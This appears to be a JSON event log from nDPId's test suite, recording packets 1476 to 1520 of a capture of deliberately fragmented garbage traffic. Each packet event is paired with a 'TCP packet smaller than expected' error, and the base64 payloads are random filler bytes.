-00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":1476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915493} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":1477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915510} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915522} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915529} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915541} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915553} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915566} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915578} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915590} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915605} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915617} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915629} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915642} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915654} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915666} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915679} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915691} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915703} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915715} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915727} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915739} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915751} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915764} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":1499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915776} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915792} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915803} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915818} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025915830} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025916421} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025916438} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025916446} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":1507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025916453} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":1508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025916461} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025916469} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025916476} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":1511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025916484} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025916491} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025916508} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025916520} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025916528} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025916536} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025916544} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025916552} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025916559} 